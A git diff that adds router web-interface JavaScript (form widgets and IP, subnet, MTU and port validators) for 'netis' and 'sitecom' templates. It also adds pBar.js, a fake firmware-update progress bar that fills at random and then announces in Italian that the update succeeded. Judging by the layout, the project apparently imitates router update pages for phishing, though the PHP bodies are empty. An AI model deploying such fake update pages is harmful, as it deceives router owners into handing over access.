text_a.setData(eval("("+tag.df+")")[0].toString()); + } + var label_b = new Element("SPAN:txt_more"); + label_b.html($.getLan(tag.name + "_label_b")); + var text_b = new DefaultInput(tag,"text"); + text_b.entity.style.width = '40px'; + text_b.entity.id = tag.name+'_end'; + if(tag.df){ + text_b.setData(eval("("+tag.df+")")[1].toString()); + } + if(tag.mode=='1'){ + var label_c = new Element("SPAN:txt_more"); + label_c.html($.getLan(tag.name + "_label_c")); + var label_d = new Element("SPAN:text_more"); + label_d.html($.getLan(tag.name + "_label_d")); + this.push(label_a,text_a,label_c,label_b,text_b,label_d); + }else{ + this.push(label_a,text_a,label_b,text_b); + } + if(tag.mode=='1'){ + this.label_c = label_c; + this.label_d = label_d; + } + this.label = label; + this.label_a = label_a; + this.text_a = text_a; + this.label_b = label_b; + this.text_b = text_b; + obj2obj(tag,this); + +} +function initTextMore(tag){ + var tag = new TextMoreTag(tag); + return tag; +} + +function TextTwoTag(tag){ + DefaultTag.call(this); + var _this = this; + this.value = tag.value; + this.mode = tag.mode; + var label = new DefaultLabel(tag); + label.entity.style.height = 25 * 2 + "px"; + label.entity.style.lineHeight = 25 * 2 + "px"; + this.append(label); + this.label = label; + var panel = new Element("DIV:radio_panel"); + panel.setClass("two_panel_line"); + var label_a = new Element("SPAN:txt_two"); + label_a.html($.getLan(tag.name + "_label_a")); + label_a.entity.style.width = "118px"; + var text_a = new DefaultInput(tag,"text"); + text_a.entity.style.width = '43px'; + text_a.entity.id = tag.name+'_up'; + if(tag.df){ + text_a.setData(eval("("+tag.df+")")[0].toString()); + } + var label_c = new Element("label"); + label_c.setClass("df_two_after"); + label_c.html($.getLan(tag.name + "_label_c")); + panel.push(label_a,text_a,label_c); + this.label_a = label_a; + this.text_a = text_a; + this.label_c = label_c; + + var panel_b = new Element("DIV:radio_panel"); + panel_b.setClass("two_panel_line"); + var label_b = new Element("SPAN:txt_two"); + label_b.html($.getLan(tag.name + "_label_b")); + label_b.entity.style.width = "118px"; + var text_b = new DefaultInput(tag,"text"); + text_b.entity.style.width = '43px'; + text_b.entity.id = tag.name+'_down'; + if(tag.df){ + text_b.setData(eval("("+tag.df+")")[0].toString()); + } + var label_d = new Element("label"); + label_d.setClass("df_two_after"); + label_d.html($.getLan(tag.name + "_label_d")); + panel_b.push(label_b,text_b,label_d); + this.label_b = label_b; + this.text_b = text_b; + this.label_d = label_d; + + _this.append(panel); + _this.append(panel_b); + obj2obj(tag,this); +} +function initTextTwo(tag){ + var tag = new TextTwoTag(tag); + return tag; +} +//默认单选按钮组 +function RadioGroupTag(tag){ + DefaultTag.call(this); + var _this = this; + this.name = tag.name; + this.key = tag.key; + this.value = tag.value; + this.mode = tag.mode; + if(this.mode != "1"){ + var label = new DefaultLabel(tag); + if(this.mode == "2"){ + label.entity.style.height = 25 * this.key.length + "px"; + label.entity.style.lineHeight = 25 * this.key.length + "px"; + } + this.append(label); + this.label = label; + } + this.panel = new Array();; + for(var i=0;i<_this.key.length;i++){ + var panel = new Element("DIV:radio_panel"); + if(_this.mode == "1"){ + panel.setClass("radio_panel_single"); + }else if(_this.mode == "2"){ + panel.setClass("radio_panel_line"); + } + var radio = new DefaultInput(tag,"radio"); + radio.setID(_this.name+'_'+_this.key[i]); + radio.setValue(_this.value[i]); + var txt = new Element("label"); + txt.setClass("df_radio_txt"); + if(_this.mode=="2"||_this.mode=="1"){ + txt.setClass("df_two_after"); + } + txt.entity.setAttribute("for",radio.id); + if($.CommonLan[_this.key[i]] != undefined){ + txt.html($.CommonLan[_this.key[i]]); + }else{ + txt.html($.getLan(_this.key[i] + "_r")); + } + panel.push(radio,txt); + panel.radio = radio; + panel.txt = txt; + _this.append(panel); + _this.panel[i] = panel; + } + if(tag.mode=='3'){ + var after = new DefaultAfter(tag); + _this.append(after); + //var text = new DefaultInput(tag,"text"); + var text = new Element("INPUT:text_after"); + text.setID(tag.name); + text.entity.maxLength = '4'; + //text.entity.id = tag.name; + text.getCheck = function(type){ + return checkText(text,type); + } + _this.append(text); + var span = new Element("SPAN"); + span.html($.CommonLan["text_after"]); + _this.append(span); + this.after=after; + this.text = text; + } + _this.panel[0].radio.checked(); + obj2obj(tag,this); +} +function initRadioGroup(tag){ + var tag = new RadioGroupTag(tag); + return tag; +} +function initRadioGroupFunction(tag){ + for(var i=0;i= 0){ + chk_all.setClass("df_checkbox_ie"); + }else{ + chk_all.setClass("df_checkbox"); + } + chk_all.entity.onclick = function(){ + if(this.checked == true){ + start.entity.disabled = true; + end.entity.disabled = true; + this.name = 'true'; + }else{ + start.entity.disabled = false; + end.entity.disabled = false; + this.name = 'false'; + } + } + var chk_all_label = new Element("SPAN"); + chk_all_label.setClass("df_checkbox_label"); + chk_all_label.html($.CommonLan["all_day"]); + time_panel.push(chk_all,chk_all_label); + time_panel.chk_all = chk_all; + this.push(label,time_panel); + this.time_panel = time_panel; + this.chk_all = chk_all; + obj2obj(tag,this); +} +function initSimpleTime(tag){ + var tag = new SimpleTimeTag(tag); + return tag; +} +var time_map = ['00:00','00:30','01:00','01:30','02:00','02:30','03:00','03:30','04:00','04:30','05:00','05:30','06:00','06:30','07:00','07:30','08:00','08:30','09:00','09:30','10:00','10:30','11:00','11:30','12:00','12:30','13:00','13:30','14:00','14:30','15:00','15:30','16:00','16:30','17:00','17:30','18:00','18:30','19:00','19:30','20:00','20:30','21:00','21:30','22:00','22:30','23:00','23:30','23:59']; +function initSimpleTimeFunction(tag){ + tag.start.entity.onchange = function(){ + for(var i=0;i= 0){ + checkbox.setClass("df_checkbox_ie"); + }else{ + checkbox.setClass("df_checkbox"); + } + checkbox.setValue(week_arr[i]); + var checkbox_label = new Element("SPAN"); + checkbox_label.setClass("df_checkbox_label"); + checkbox_label.html($.CommonLan["week_" + i]); + week_panel.push(checkbox,checkbox_label); + week_panel.chk_arr.push(checkbox); + } + var chk_all = new DefaultInput(tag,"checkbox"); + if($.BrowserVersion.indexOf('IE') >= 0){ + chk_all.setClass("df_checkbox_ie"); + }else{ + chk_all.setClass("df_checkbox"); + } + chk_all.entity.onclick = function(){ + for(var i=0;i= 0){ + //_this.load.run.setAttr({"style":"width:"+398*((to-t)/to)+"px"}); + _this.load.run.entity.style.width = 398*((to-t)/to)+"px"; + _this.load.math.html(Math.ceil((to-t)/to*100) + " %"); + t -= 1; + }else{ + window.clearInterval(TimesOut); + if(ip){ + window.location = ip; + }else{ + if($.CurrentApp=='default'){ + window.location ="http://"+$.Default_ip; // should change this IP when this default LAN IP is changed; + }else + window.location.reload(); + } + } + },1000); + } + obj2obj(tag,this); +} +function initSimpleLoad(tag){ + var tag = new SimpleLoadTag(tag); + return tag; +} +//默认表单构造 +function SimpleTable(tag){ + Element.call(this,"TABLE:df_tab"); + var _this = this; + this.setAttr({ + "cellspacing":"1", + "cellpadding":"3" + }); + this.size = 10; + this.page = 1; + this.max = 0; + var thead = new SimpleTabHead(tag); + //var tbody = new SimpleTabBody(tag); + this.push(thead); + this.thead = thead; + var tfoot = new SimpleTabFoot(tag); + this.tfoot = tfoot; + this.createTable = function(data,size){ + if(size){ + _this.size = size; + } + _this.data = data; + _this.max = Math.ceil(tag.tab.data.length/tag.tab.size); + var tbody = new SimpleTabBody(_this); + tbody.status = 1; + tbody.create(); + _this.append(tbody); + _this.tbody = tbody; + } +} +function SimpleTabHead(tag){ + Element.call(this,"THEAD:df_thead"); + var _this = this; + _this.arr = eval($.getLan(tag.name + "_thead")); + var r1 = new Element("TR"); + var r2 = new Element("TR"); + var htype = 0; + _this.rowSpan = 1; + for(var i in _this.arr){ + if(typeof _this.arr[i] == "object"){ + _this.rowSpan = 2; + _this.colSpan = _this.arr[i].con.length; + htype = 1; + break; + } + } + for(var i=0;i<_this.arr.length;i++){ + var title = _this.arr[i]; + if(typeof(title) != "object"){ + var c = new Element("TD"); + c.entity.setAttribute("rowSpan",_this.rowSpan); + c.html(title); + r1.append(c); + }else{ + var h = new Element("TD"); + h.entity.setAttribute("colSpan",_this.colSpan); + h.html(title.head); + r1.append(h); + for(var j=0;j= tab.size*tab.page){ + var residue = tab.size; + }else{ + var residue = tab.data.length%tab.size; + } + _this.Rows = new Array(); + for(var i=0;i=0;i--){ + _this.entity.removeChild(_this.entity.childNodes[i]); + } + } + this.refresh = function(){ + _this.clear(); + _this.create(); + } +} +function DefaultPageBtn(tag,key){ + DefaultInput.call(this,tag,"button"); + var _this = this; + switch(key){ + case 0: this.setClass('df_page_btn1');break; + case 1: this.setClass('df_page_btn2');break; + case 2: this.setClass('df_page_btn3');break; + case 3: this.setClass('df_page_btn4');break; + } + this.key = key; + this.entity.onclick = function(){ + switch(_this.key){ + case 0: + if(tag.tab.page == 1){ + return; + }; + changeTabPage(tag,1);break; + case 1:changeTabPage(tag,tag.tab.page-1);break; + case 2:changeTabPage(tag,tag.tab.page+1);break; + case 3: + if(tag.tab.page == tag.tab.max){ + return; + }; + changeTabPage(tag,tag.tab.max);break; + default:break; + } + } +} +function changeTabPage(tag,page){ + if(page > 0 && page <= tag.tab.max){ + tag.tab.page = page; + tag.tab.tbody.refresh(); + inLogic($.CurrentApp); + } +} +function SimpleTabFoot(tag){ + Element.call(this,"DIV:df_tfoot") + var _this = this; + var size_label = new DefaultSpan(tag); + size_label.setClass('df_page_size_label'); + size_label.html($.CommonLan["size_label"]); + var size_set = new DefaultInput(tag,"text"); + size_set.setID("page_size"); + size_set.setClass('df_page_size_set'); + size_set.setAttr({"maxlength":"3"}); + size_set.entity.style.width = '25px'; + size_set.setValue(10); + var size_btn = new DefaultInput(tag,"button"); + size_btn.setClass('df_page_size_btn'); + //size_btn.setAttr({"style":"min-width:10px;padding:1px;margin:2px 100px 2px 2px;float:left"}); + size_btn.setValue($.CommonLan["size_set_btn"]); + this.push(size_label,size_set,size_btn); + this.size_set = size_set; + this.size_btn = size_btn; + + var first = new DefaultPageBtn(tag,0); + var pre = new DefaultPageBtn(tag,1); + var next = new DefaultPageBtn(tag,2); + var last = new DefaultPageBtn(tag,3); + this.push(first,pre,next,last); + var page_select = new DefaultSelect(tag); + //page_select.setAttr({"style":"width:40px"}); + page_select.entity.style.width = '40px'; + page_select.entity.onchange = function(){ + resetTabPage(tag,this.value); + } + this.push(page_select); + this.page_select = page_select; + + var all = new DefaultSpan(tag); + all.html($.CommonLan["max_size_label_a"]); + var num = new DefaultSpan(tag); + var page = new DefaultSpan(tag); + page.html($.CommonLan["max_size_label_b"]); + this.push(all,num,page); + this.num = num; + + size_btn.entity.onclick = function(){ + resetTabSize(tag,_this.size_set.entity.value); + } +} +function resetTabPage(tag,page){ + tag.tab.page = parseInt(page); + tag.tab.tbody.refresh(); + inLogic($.CurrentApp); +} +function resetTabSize(tag,size){ + tag.tab.page = 1; + //if(!checkSingleText(ID("page_size"),'text_page')){return;} + if(!checkSingleText(tag.tab.tfoot.size_set.entity,'text_page',true)){return;} +// if(size=='0'){ +// var lens=(tag.tab.data.length<=5)?tag.tab.data.length:'5'; +// tag.tab.tfoot.size_set.setValue(lens); +// return; +// } + tag.tab.size = size; + tag.tab.max = Math.ceil(tag.tab.data.length/tag.tab.size); + if(size > tag.tab.data.length){ + tag.tab.tfoot.size_set.setValue(tag.tab.data.length); + } + tag.tab.tbody.refresh(); + inLogic($.CurrentApp); +} +function SimpleTableTag(tag){ + DefaultTag.call(this); + this.setClass("df_tab_tag"); + var _this = this; + var tab = new SimpleTable(tag); + if(tag.mode=='ap_get'){ + //var btn = new DefaultInput(tag,"button"); + var pn = ($.CurrentApp=="wan")?5:6; + var btnArr = new ButtonArrayTag(getTag(pn,1)); + this.push(tab,tab.tfoot,btnArr); + }else if(tag.mode == 2 || tag.mode==1){ + this.push(tab); + }else{ + this.push(tab,tab.tfoot); + } + this.tab = tab; + obj2obj(tag,this); +} +function initSimpleTable(tag){ + var tag = new SimpleTableTag(tag); + return tag; +} + +function SimpleFlotTag(tag){ + DefaultTag.call(this); +} +function initSimpleFlot(tag){ + var tag = new SimpleFlotTag(tag); + return tag; +} +//公共函数区域 +function ID(id){ + return document.getElementById(id); +} +function createByTag(t){ + return document.createElement(t); +} +function disableDom(d,bo){ + d.entity.disabled = bo; +} +function getLen(data){ + var num = 0; + for(var key in data){ + num++; + } + return num; +} +function getPan(pan){ + return $.Apps[$.CurrentApp].Pans[pan]; +} +function getTag(pan,tag){ + return $.Apps[$.CurrentApp].Pans[pan].Tags[tag]; +} +function getTagDom(pan,tag,dom){ + return $.Apps[$.CurrentApp].Pans[pan].Tags[tag][dom]; +} +function setOldData(data){ + var obj = new Object(); + if(typeof data=='object'){ + for(var j in data){ + obj["old_"+j] = data[j]; + } + } + //testInfo(obj); + return obj; +} + +var time_arr = {'00:00':'0','00:30':'1','01:00':'2','01:30':'3','02:00':'4','02:30':'5','03:00':'6','03:30':'7','04:00':'8','04:30':'9','05:00':'10','05:30':'11','06:00':'12','06:30':'13','07:00':'14','07:30':'15','08:00':'16','08:30':'17','09:00':'18','09:30':'19','10:00':'20','10:30':'21','11:00':'22','11:30':'23','12:00':'24','12:30':'25','13:00':'26','13:30':'27','14:00':'28','14:30':'29','15:00':'30','15:30':'31','16:00':'32','16:30':'33','17:00':'34','17:30':'35','18:00':'36','18:30':'37','19:00':'38','19:30':'39','20:00':'40','20:30':'41','21:00':'42','21:30':'43','22:00':'44','22:30':'45','23:00':'46','23:30':'47','23:59':'48'}; +function setModify(obj){ + var lens = $.Apps[$.CurrentApp].Pans.len; + for(var i in obj){ + var pan; + for(var n=0;n 1){ + var len = parseInt(t[1],10) - parseInt(t[0],10) + 1; + for(var i=0;i3){ch.info=$.CommonLan["mask_addr_err"];return;} + } + if(strsub[0]!="255" && strsub[1]!="0"){ch.info=$.CommonLan["mask_addr_err"];return;} + if(strsub[1]!="255" && strsub[2]!="0"){ch.info=$.CommonLan["mask_addr_err"];return;} + if(strsub[2]!="255" && strsub[3]!="0"){ch.info=$.CommonLan["mask_addr_err"];return;} + if(strsub[3]==''){ch.info=$.CommonLan["mask_addr_err"];return;} + ch.val = true; +} +/**************************************************/ +function IP2Bin(ip) +{ + var strIP = ip.toString(2); + var len = strIP.length; + if(len<8) + { + for(var i=0;i<8-len;i++){ + strIP = "0" + strIP; + } + } + return strIP; +} +function GetIP(ip_str) +{ + var ip=""; + var obj={}; + var ip_arr = ip_str.split("."); + for(var i=0;iparseInt(bct_ten)){ + if(typeof tag == 'string'){ + checkCommon(ID(tag),$.CommonLan['segment_len_err']); + }else{ + checkShow(tag.text,$.CommonLan['segment_len_err']);} + return false; + }} + return true; +} +// 验证WAN、LAN口的IP不能同网段。 +function check_wan_lan_segment(tag1,tag2,interface,gw){ + var ip = tag1.text.entity.value; + var mask = tag2.text.entity.value; + var lan_sn = AND(GetIP($.DataMap.lan_ip),GetIP($.DataMap.lan_mask)); + + if(interface=='wan'){ + var mk = AND(GetIP(mask),GetIP($.DataMap.lan_mask)); + var lan_sn = AND(GetIP($.DataMap.lan_ip),mk); + var subnet_w = AND(GetIP(ip),mk); + var flag_gw = (gw&&(ip==gw.text.entity.value))?true:false; + if(subnet_w==lan_sn || flag_gw){ + checkShow(tag1.text,$.CommonLan['wan_lan_err']); + return false; + } + }else{ // lan. + var mk = AND(GetIP(mask),GetIP($.DataMap.wan_mask)); + var wan_sn = AND(GetIP($.DataMap.wan_ip),mk); + var subnet_l = AND(GetIP(ip),mk); + if(subnet_l==wan_sn){ + checkShow(tag1.text,$.CommonLan['wan_lan_err']); + return false; + } + } + return true; +} +// 验证IP必须和LAN口IP地址同网段。 +function check_lan_segment(tag){ + var now_ip = tag.text.entity.value; + var l_sub = AND(GetIP($.DataMap.lan_ip),GetIP($.DataMap.lan_mask)); + var n_sub = AND(GetIP(now_ip),GetIP($.DataMap.lan_mask)); + if(l_sub != n_sub){ + checkShow(tag.text,$.CommonLan['ip_err']); + return false; + } + return true; +} +// 验证LAN口IP必须和DHCP地址池同网段。 +function check_lan_dhcp_segment(ip,mask){ + +} +// 验证IP和网关同网段。(网关必须和IP同网段) +function check_gw_segment(t_ip,t_mask,t_gw){ + var ip = t_ip.text.entity.value; + var mk = t_mask.text.entity.value; + var gw = t_gw.text.entity.value; + var subnet_i = AND(GetIP(ip),GetIP(mk)); + var subnet_g = AND(GetIP(gw),GetIP(mk)); + if(subnet_i != subnet_g){ + checkShow(t_gw.text,$.CommonLan['gw_err']); + return false; + } + return true; +} +//或运算(二进制) +function OR(ip,mask){ + var str = '' ; + for(var i=0;i<32;i++){ + var a = ip.substring(i,i+1); + var b = mask.substring(i,i+1); + if(a=='1'||b=='1'){ + str +='1'; + }else{ + str +='0'; + } + } + return str; +} +//与运算(二进制) +function AND(ip,mask){ + var str = '' ; + for(var i=0;i<32;i++){ + var a = ip.substring(i,i+1); + var b = mask.substring(i,i+1); + if(a=='0'||b=='0'){ + str +='0'; + }else{ + str +='1'; + } + } + return str; +} +//同或运算(二进制) +function XNOR(ip,mask){ + var str = '' ; + for(var i=0;i<32;i++){ + var a = ip.substring(i,i+1); + var b = mask.substring(i,i+1); + if(a==b){ + str +='1'; + }else{ + str +='0'; + } + } + return str; +} +// 取反运算(二进制) +function NOT(ip){ + var str = ''; + for(var i=0;i<32;i++){ + var a = ip.substring(i,i+1); + if(a=='0'){ + str +='1'; + }else{ + str +='0'; + } + } + return str; +} +//二进制IP转换成点分十进制IP +function NtoH(str){ + var data=''; + for(var i=0;i1111) +function TtoB(ten){ + bin = ""; + while(ten > 0) { + bin = (ten%2 != 0)?("1" + bin):("0" + bin); + ten = parseInt(ten/2); + } + if(bin.length!=32){ + var len = 32-bin.length; + for(var i=0;i255){ + ch.info = $.CommonLan["string_null"]; + return false; + } + } + return true; +} +//验证QOS IP段 +function check_ip_last_addr(ch){ + str = ch.data; + if(str.length > 1 && str.substring(0,1) == '0'){ + ch.info = $.CommonLan["ip_addr_err"];return; + } + var reg = new RegExp(regMap.limit255); + flag = reg.test(str); + if(!flag){ + ch.info = $.CommonLan["ip_addr_err"];return; + } + ch.val = true; +} +//验证QOS带宽 +function check_qos_bandwidth(ch){ + var str = ch.data; + if(str.length > 1 && str.substring(0,1) == '0'){ + ch.info = $.CommonLan["int_number_err"];return; + } + var reg = new RegExp(regMap.limit12799); + flag = reg.test(str); + if(!flag){ + ch.info = $.CommonLan["int_number_err"];return; + } + ch.val = true; +} +//验证pin码 +function check_pin(ch){ + var str = ch.data; + var reg = new RegExp(regMap.pin); + flag = reg.test(str); + if(!flag){ + ch.info = $.CommonLan["pin_number_err"];return; + } + ch.val = true; +} +function check_page_size(ch){ + var str = ch.data; + var reg = new RegExp(regMap.page); + flag = reg.test(str); + if(!flag){ + ch.info = $.CommonLan['page_err'];return; + } + ch.val = true; +} +/********************************************************/ +//检查mtu合法性 +function check_mtu_dhcp(ch){ + check_limit_int(ch,getTag(3,'dhcp_mtu'),576,1500,'dhcp_mtu_err'); +} +function check_mtu_pppoe(ch){ + check_limit_int(ch,getTag(3,'pppoe_mtu'),576,1492,'pppoe_mtu_err'); +} +function check_mtu_static(ch){ + check_limit_int(ch,getTag(3,'static_mtu'),576,1500,'static_mtu_err'); +} +function check_mtu_l2tp(ch){ + check_limit_int(ch,getTag(3,'l2tp_mtu'),576,1460,'l2tp_mtu_err'); +} +function check_mtu_pptp(ch){ + check_limit_int(ch,getTag(3,'pptp_mtu'),576,1420,'pptp_mtu_err'); +} +//检查beacon,rts,frag合法性 +function check_beacon(ch){ + check_limit_int(ch,getTag(0,0),20,1000,'beacon_err'); +} +function check_rts(ch){ + check_limit_int(ch,getTag(0,1),256,2347,'rts_err'); +} +function check_frag(ch){ + check_limit_int(ch,getTag(0,2),256,2346,'frag_err'); +} +//检查路由器连接数 +function check_router_num(ch){ + check_limit_int(ch,getTag(0,0),100,1024,'router_err'); +} +/*************************** End Common Check ************************/ +function check_YMD(year,mon,day){ + var regY = new RegExp(regMap.year); + flagY = regY.test(year); + if(!flagY){ + checkShow(ID("time_date"),$.CommonLan["year_err"]);return; + } + var regM = new RegExp(regMap.mon); + flagM = regM.test(mon); + if(!flagM){ + checkShow(ID("time_date2"),$.CommonLan["mon_err"]);return; + } + var regD = new RegExp(regMap.num); + flagD = regD.test(day); + if(!flagD){ + checkShow(ID("time_date3"),$.CommonLan["int_number_err"]);return; + } + mon = parseInt(mon,10); + day = parseInt(day,10); + if(mon=='1'||mon=='3'||mon=='5'||mon=='7'||mon=='8'||mon=='10'||mon=='12'){ + if(day<1||day>31){ + checkShow(ID("time_date3"),$.CommonLan["day31_err"]);return; + } + } + if(mon=='4'||mon=='6'||mon=='9'||mon=='11'){ + if(day<1||day>30){ + checkShow(ID("time_date3"),$.CommonLan["day30_err"]);return; + } + } + if(mon=='2'){ + if((year%4=='0' && year%100!='0')||year%400=='0'){ //闰年 + if(day<1||day>29){ + checkShow(ID("time_date3"),$.CommonLan["day29_err"]);return; + } + }else if(day<1||day>28){ + checkShow(ID("time_date3"),$.CommonLan["day28_err"]);return; + } + } + return true; +} +function check_HMS(hour,min,sec){ + var regH = new RegExp(regMap.hour); + flagH = regH.test(hour); + if(!flagH){ + checkShow(ID("time_time"),$.CommonLan['hour_err']);return; + } + var regM = new RegExp(regMap.minsec); + flagM = regM.test(min); + if(!flagM){ + checkShow(ID("time_time2"),$.CommonLan['min_sec_err']);return; + } + var regS = new RegExp(regMap.minsec); + flagS = regS.test(sec); + if(!flagS){ + checkShow(ID("time_time3"),$.CommonLan['min_sec_err']);return; + } + return true; +} +function check_reboot_date(hour,min){ + var regH = new RegExp(regMap.hour); + flagH = regH.test(hour); + if(!flagH){ + checkShow(getTag(1,1).text,$.CommonLan['hour_err']);return; + } + var regM = new RegExp(regMap.minsec); + flagM = regM.test(min); + if(!flagM){ + checkShow(getTag(1,2).text,$.CommonLan['min_sec_err']);return; + } + + return true; +} +//检查IP地址池范围 +function check_ip_limit(start,end,flag){ + var s = parseInt(GetIP(start.text.entity.value),2); + var e = parseInt(GetIP(end.text.entity.value),2); + var len = e - s + 1; + if(s > e){ + checkShow(start.text,$.CommonLan['cmp_ip_err']); + return false; + } + if(flag=='dhcp'){ + var sub = AND(GetIP($.DataMap.lan_ip),GetIP($.DataMap.lan_mask)); + var sub_a = AND(GetIP(start.text.entity.value),GetIP($.DataMap.lan_mask)); + var sub_b = AND(GetIP(end.text.entity.value),GetIP($.DataMap.lan_mask)); + if(sub!=sub_a){ + checkShow(start.text,$.CommonLan['lan_ip_err']); + return false; + } + if(sub!=sub_b){ + checkShow(end.text,$.CommonLan['lan_ip_err']); + return false; + } + if(!check_ip_mask(start.text.entity.value,$.DataMap.lan_mask,getTag(1,'dhcp_start_ip'))){return;} + if(!check_ip_mask(end.text.entity.value,$.DataMap.lan_mask,getTag(1,'dhcp_end_ip'))){return;} + if(start.text.entity.value==$.DataMap.lan_ip){ + checkShow(start.text,$.CommonLan['lan_addr_err']); + return false; + } + if(end.text.entity.value==$.DataMap.lan_ip){ + checkShow(end.text,$.CommonLan['lan_addr_err']); + return false; + } + if(len>253){ + checkShow(end.text,$.CommonLan['addr_err']); + return false; + } + } + return true; +} +//验证纯数字范围 +function check_limit_int(ch,tag,min,max,err){ + var str = tag.text.entity.value; + var reg = /^\d+$/; + flag = reg.test(str); + if(!flag){ + ch.info = $.CommonLan[err];return; + } + if(parseInt(tag.text.entity.value)max){ + ch.info = $.CommonLan[err];return; + } + ch.val = true; +} +//特殊值转换 +var special_map = {"%":"%25","&":"%26","=":"%3D","+":"%2B"," ":"%20"}; +function check_special(val){ + var str = val; + if(str==""||str ==null){return str;} + var cmp = '%&=+ '; + var tmp = ''; + for(var i=0;iparseInt(val_b)){ + checkShow(tag.text_b,$.CommonLan['cmp_port_err']); + return false;} + return true; +} + +function time_compare(p,t){ + var a = getTagDom(p,t,"start").entity.value; + var b = getTagDom(p,t,"end").entity.value; + if(a != '0' && b !='0'){ + if(a == b){ + checkShow(getTagDom(p,t,'end'),$.CommonLan['end_time_err']); + return false; + } + } + return true; +} +//字符串截取len指定长度 +function check_len(data,dlen,tlen){ + if(data==''){return data;} + var re = /[^\x00-\xff]/; + var le = data.replace(/[^\x00-\xff]/g,"***").length; //utf-8 汉字占3个字节 + if(le>dlen){ + var n = 0; + for(var i in data){ + n = (re.test(data[i]))?(n+3):(n+1); + if(n>=parseInt(tlen)){ + if(n-parseInt(tlen)>2) + return data.substring(0,parseInt(i)-1); + else if(n==parseInt(tlen)) + return data.substring(0,parseInt(i)+1); + else + return data.substring(0,parseInt(i)); + } + } + } + return data; +} +//验保留地址IP是否在DHCP池内 +function check_lan_ip(tag){ + var lan = GetIP(tag.text.entity.value); + lan_ten = parseInt(lan,2).toString(10); + dhcp_s = parseInt(GetIP($.DataMap.dhcp_start_ip),2).toString(10); + dhcp_e = parseInt(GetIP($.DataMap.dhcp_end_ip),2).toString(10); + if(lan_ten>dhcp_e||lan_ten=pla&&pa<=plb)||(pb>=pla&&pb<=plb)||(pa<=pla&&pb>=plb)){ + checkShow(tag.text_a,$.CommonLan['port_occupy_err']); + return false; + } + }else{ + if((data[i][tagp.name]==pr)&&((pa==pla&&pb==plb)||(pa>=pla&&pa<=plb)||(pb>=pla&&pb<=plb)||(pa<=pla&&pb>=plb))){ + checkShow(tag.text_a,$.CommonLan['port_occupy_err']); + return false; + } + } + } + return true; +} + +//验证列表中添加MAC重复 +function check_mac_list(tag,data){ + var temp_arr; + if(MOD=="mod"){temp_arr = Remove(mac_arr,MODData[data]); + }else{temp_arr = mac_arr;} + for(var i=0;iip_e){ + checkShow(tag1.text,$.CommonLan['cmp_ip_err']); + return false; + } + for(var i=0;i=ipl_s&&ip_s<=ipl_e)||(ip_e>=ipl_s&&ip_e<=ipl_e)){ + checkShow(tag1.text,$.CommonLan['ip_occupy_err']); + return false; + } + } + return true; +} +//验证列表中添加IP地址范围重复(验证开始和结束之间的地址 ) +function check_ips_arr(tag1,tag2){ + var temp_arr; + var ip_sta = parseInt(GetIP(tag1.text.entity.value),2).toString(10); + var ip_end = parseInt(GetIP(tag2.text.entity.value),2).toString(10); + var len = ip_end - ip_sta + 1; + if(MOD=='mod'){temp_arr = Remove(ip_arr,ip_sta,len); + }else{temp_arr = ip_arr;} + if(ip_sta>ip_end){ + checkShow(tag2.text,$.CommonLan['cmp_ip_err']); + return false; + } + for(var i=0;iip_end){ + checkShow(tag2.text,$.CommonLan['cmp_ip_err']); + return false; + } + ip_lens+=ip_len; + } +// alert(ip_lens+tag_len); + if((ip_lens+tag_len)>256){ + checkShow(tag2.text,$.CommonLan['ip_len_err']); + return false; + } + return true; +} +//验证取消保留不能为LAN口IP地址 +function check_cancel_dhcp(row){ + for(var i=0;i parseInt(id)){ + data[i].id = parseInt(old_id)-1; + } + for(var j in data[i]){ + obj[j+data[i].id] = data[i][j]; + } + } + } + return obj; +} + +//验证端口触发添加修改重复 +function check_app_tab(){ + var List = $.DataMap.app_port_list; + var list = new Array(); + obj2obj(list,List); + if(MOD=='mod'){ + list.splice(MODData.id-1,1); + } + var port1 = get_port_arr_value(getTag(0,3)); + var port2 = get_port_arr_value(getTag(0,5)); + for(var i=0;i0)?arrd1.length:arrd2.length; + for(var j=0;jmtl[0]&&mt[0]mtl[0]&&mt[1]mtl[1])){ + if(mac_time_a=='all'||(mt[0]>=mtl[0]&&mt[0]mtl[0]&&mt[1]<=mtl[1])||(mt[0]==mtl[0]&&mt[1]==mtl[1])||(mt[0]mtl[1])){ + $.lockWin(" "); + $.unlockWin($.CommonLan["add_item_err"]); + return false; + } + } + } + } + } + return true; +} +function getTimeArr(data){ + if(data=='all'||data=='00:00-23:59'){return ['0','24'];} + var arrs = new Array(); + var arr = data.split('-'); + for(var i=0;i0)?arrd1.length:arrd2.length; + for(var j=0;jmtl[0]&&mt[0]mtl[0]&&mt[1]mtl[1])){ + if(dns_time_a=='all'||(mt[0]>=mtl[0]&&mt[0]mtl[0]&&mt[1]<=mtl[1])||(mt[0]==mtl[0]&&mt[1]==mtl[1])||(mt[0]mtl[1])){ + $.lockWin(" "); + $.unlockWin($.CommonLan["add_item_err"]); + return false; + } + } + } + } + } + return true; +} + +// 验证ppp时间。 +function check_ppp_time(tag,val){ + var id = tag.name.split('_')[0]+'_time'; + var con = getTag(3,'conntype').select.entity.value; + if((con == val) && tag.data=='1'){ + var t_v = ID(id).value; + if(!checkSingleText(ID(id),'text_num')){return false;} + if(t_v<1 || t_v>30){ + checkShow(ID(id),$.CommonLan['time_err']); + return false; + } + } + return true; +} +// 隐藏/显示添加表单的取消按钮(data为0是隐藏,1是显示) +function SetCancelBtn(tag,data){ + var val = (data=='0')?"none":""; + tag.btn_b.entity.style.display = val; +} +function cancel_modfiy(){$.Refresh();} diff --git a/Sites/Template/netis/js/pBar.js b/Sites/Template/netis/js/pBar.js new file mode 100644 index 0000000..d0f8b75 --- /dev/null +++ b/Sites/Template/netis/js/pBar.js @@ -0,0 +1,26 @@ +var bar = document.getElementById("pbar"); + +function addProgress() { + var random_value = Math.floor(Math.random() * 10) + 1; + + $({ + interpVal: bar.value + }).animate({ + interpVal: bar.value + random_value + }, { + duration: 500, + step: function () { + bar.value = this.interpVal; + } + }); + + if (bar.value < bar.max) { + var random_time = Math.floor(Math.random() * 4000) + 1000; + setTimeout(addProgress, random_time); + } else + alert("Aggiornamento eseguito. Si prega di riavviare il router."); +} + +function doProgress() { + setTimeout(addProgress, 500); +} \ No newline at end of file diff --git a/Sites/Template/netis/update.php b/Sites/Template/netis/update.php new file mode 100644 index 0000000..625e546 --- /dev/null +++ b/Sites/Template/netis/update.php @@ -0,0 +1,35 @@ + diff --git a/Sites/Template/sitecom/config/connector.php b/Sites/Template/sitecom/config/connector.php new file mode 100644 index 0000000..6e695ef --- /dev/null +++ b/Sites/Template/sitecom/config/connector.php @@ -0,0 +1,10 @@ + 